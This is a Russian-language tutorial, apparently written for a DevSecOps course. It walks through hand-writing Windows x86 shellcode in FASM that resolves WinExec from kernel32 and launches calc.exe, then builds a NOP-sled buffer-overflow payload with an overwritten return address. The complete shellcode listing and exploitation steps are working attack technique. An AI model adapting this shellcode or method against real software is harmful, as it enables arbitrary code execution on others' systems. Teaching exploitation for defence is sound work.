В этой статье мы продолжим рассматривать интересную тему эксплуатации уязвимостей кода. В первой части мы выявили наличие самой уязвимости и узнали, какой именно объем байт мы можем передать нашей уязвимой программе для эксплуатации уязвимости. Сейчас мы на время оставим нашу уязвимую программу и поговорим о написании shell-кода.
Только ассемблер – только хардкор!
Конечно, готовый шеллкод можно сгенерировать с помощью msfvenom – утилиты, входящей в состав Metasploit. Можно также попытаться найти готовые эксплоиты, но мы легких путей искать не будем, напишем шеллкод самостоятельно. В качестве нашего рабочего инструмента я буду использовать FASM.
В рамках данной статьи я не буду рассматривать принципы программирования на Ассемблере. Желающие могут нагуглить на просторах сети всю необходимую информацию. Однако, я кратко поясню некоторые особенности написания шеллкода. Основная особенность разработки заключается в том, что мы не можем просто так вызвать необходимые для его работы функции. То есть, если при написании обычной программы мы можем поместить нужные значения в стек и вызвать необходимую функцию ОС (классический вариант push-call или модный с макросами invoke), то шеллкод выполняется в адресном пространстве другой программы и адреса функций ОС нам необходимо вычислить именно в памяти этой программы. Для этого мы сначала находим адрес библиотеки Kernel32 (строки 39-46), затем адрес PE Signature (+0x3C), Export Table (+0x78) далее перемещаемся по таблице экспорта до тех пор, пока не находим таблицу с адресами функций ОС. Далее мы просто перемещаемся по этой таблице (строка 70 и далее) и ищем соответствие имени искомой функции (в нашем случае это Winexec) и имени функции, указанной в таблице.
Полученный таким образом адрес мы далее будем использовать для вызова нужной функции. Но перед этим нам необходимо передать функции нужные параметры. В случае с Winexec нам необходимо передать строку C:\Windows\System32\calc.exe, для того, чтобы наш шеллкод затем, в лучших традициях эксплуатации уязвимостей, запустил калькулятор.
Байты: плохие и очень плохие
Еще одно отличие нашего шеллкода от обычной программы заключается в том, что наш код в откомпилированном виде не должен содержать так называемых плохих байтов.
Классический пример плохого байта это 0х00. Нулевой байт в памяти означает завершение массива передаваемых данных. То есть, все байты, идущие после этого байта, будут отброшены. Мы будем передавать наш шеллкод как параметр, как делали в первой статье, в итоге, все что будет после нуля просто не будет передано в память и шеллкод не будет выполнен. В зависимости от методов передачи шеллкода уязвимому приложению возможны также другие плохие байты (0х10, 0х13 и другие). Наша задача избавиться от этих плохих байтов, заменив проблемные команды их аналогами, не содержащими данные байты. Для этого мы используемые манипуляции со стеком, представленные в строках 105-111.
Ну и еще одно отличие заключается в том, что мы храним все необходимые для работы нашего шеллкода данные в стеке, так как своего сегмента данных у нас очевидно тоже нет.
После компиляции в FASM приведенная ниже программа должна просто запустить калькулятор.
format PE console use32 entry start start: push eax ; Save all registers push ebx push ecx push edx push esi push edi push ebp ; Establish a new stack frame push ebp mov ebp, esp sub esp, 18h ; Allocate memory on stack for local variables ; push the function name on the stack xor esi, esi push esi ; null termination push 63h pushw 6578h push 456e6957h mov [ebp-4], esp ; var4 = "WinExec\x00" ; Find kernel32.dll base address xor esi, esi ; esi = 0 mov ebx, [fs:30h + esi] ; written this way to avoid null bytes mov ebx, [ebx + 0x0C] mov ebx, [ebx + 0x14] mov ebx, [ebx] mov ebx, [ebx] mov ebx, [ebx + 0x10] ; ebx holds kernel32.dll base address mov [ebp-8], ebx ; var8 = kernel32.dll base address ; Find WinExec address mov eax, [ebx + 3Ch] ; RVA of PE signature add eax, ebx ; Address of PE signature = base address + RVA of PE signature mov eax, [eax + 78h] ; RVA of Export Table add eax, ebx ; Address of Export Table mov ecx, [eax + 24h] ; RVA of Ordinal Table add ecx, ebx ; Address of Ordinal Table mov [ebp-0Ch], ecx ; var12 = Address of Ordinal Table mov edx,eax add edx,1Fh inc edx mov edi, [edx] ; RVA of Name Pointer Table add edi, ebx ; Address of Name Pointer Table mov [ebp-10h], edi ; var16 = Address of Name Pointer Table mov edx, [eax + 1Ch] ; RVA of Address Table add edx, ebx ; Address of Address Table mov [ebp-14h], edx ; var20 = Address of Address Table mov edx, [eax + 14h] ; Number of exported functions xor eax, eax ; counter = 0 .loop: mov edi, [ebp-10h] ; Address of Name Pointer Table mov esi, [ebp-4] ; "WinExec\x00" xor ecx, ecx cld mov edi, [edi + eax*4] add edi, ebx add cx, 8 repe cmpsb jz start.found inc eax cmp eax, edx jb start.loop add esp, 26h jmp start.end .found: ; the counter (eax) now holds the position of WinExec mov ecx, [ebp-0Ch] ; ecx = var12 = Address of Ordinal Table mov edx, [ebp-14h] ; edx = var20 = Address of Address Table mov ax, [ecx + eax*2] ; ax = ordinal number = var12 + (counter * 2) mov eax, [edx + eax*4] ; eax = RVA of function = var20 + (ordinal * 4) add eax, ebx ; eax = address of WinExec = ; = kernel32.dll base address + RVA of WinExec xor edx, edx push edx push 6578652eh push 636c6163h push 5c32336dh push 65747379h push 535c7377h push 6f646e69h push 575c3a43h mov esi, esp ; esi -> "C:\Windows\System32\calc.exe" push 10 ; window state SW_SHOWDEFAULT push esi ; "C:\Windows\System32\calc.exe" call eax ; WinExec add esp, 46h ; clear the stack .end: pop ebp ; restore all registers and exit pop edi pop esi pop edx pop ecx pop ebx pop eax ret
Но это еще не все. Теперь открываем откомпилированный файл в hex-редакторе и смотрим где начинается сам полезный код после PE заголовка. Этот набор байт и есть наше шеллкод. Сохраним его в отдельном файле, например с расширением bin.
NOP-sled и адрес возврата
Теперь самое время вспомнить, чем закончилась предыдущая статья – мы узнали, что для переполнения нам необходимо передать более 644 байт. То есть в эти 644 байта мы должны положить наш шеллкод. Как видно, он без проблем умещается. Однако, шеллкод не стоит располагать в начале этого блока, лучше заполнить первую пару сотен байт значением 0х90. Это инструкция NOP, которая ничего не делает и именно за этим она нам и нужна.
Итак, давайте попробуем скормить наш новый блок из 644 байт на вход уязвимой программе и посмотрим, что окажется в регистре EIP. Если значение EIP заполнено байтами 0х90, значит нам необходимо уменьшить количество передаваемых байт. Если программа отрабатывает корректно и не останавливается на исключении, значит мы передали меньше байт и переполнение не происходит. Необходимо найти ровно тот объем, после которого происходит затирание EIP. Далее необходимо выяснить, по каким адресам в стеке хранятся переданный нами буфер. Для этого выбираем Карта памяти -> Стек. Ищем наши 0x90.
Далее выбираем адрес одного из байтов 0х90, у меня это 0х0019e1c0. Теперь нам надо записать значение этого адреса в обратном порядке: 0xc0, 0xe1, 0x19. Заодно мы избавились от нулевого байта. Эти три байта добавляем в конец нашего шеллкода. Если мы все сделали правильно и в EIP скопировались ровно эти три байта, то его значение стало равно 0х0019e1c0 и мы успешно подменили адрес следующей выполняемой команды, в результате чего после переполнения буфера управление было передано нашему шеллкоду и мы успешно запустили калькулятор. В случае, если калькулятор не запустился, а отладчик снова остановился на исключении, посмотрите какое значение имеет регистр EIP, возможно надо просто добавит или убавить пару NOP, чтобы корректно подменить значение этого регистра.
Заключение
В этой статье мы посмотрели, как можно написать шеллкод и на практике проэксплуатировать уязвимость. Конечно, данный материал не является простым, однако разработчикам полезно знать к чему на практике может привести уязвимость переполнения буфера.
В следующей статье мы немного поговорим про уязвимости в программах под Линукс и посмотрим какие средства могут помочь нам защититься от таких ошибок в коде.
Материал подготовлен в рамках курса «Внедрение и работа в DevSecOps».
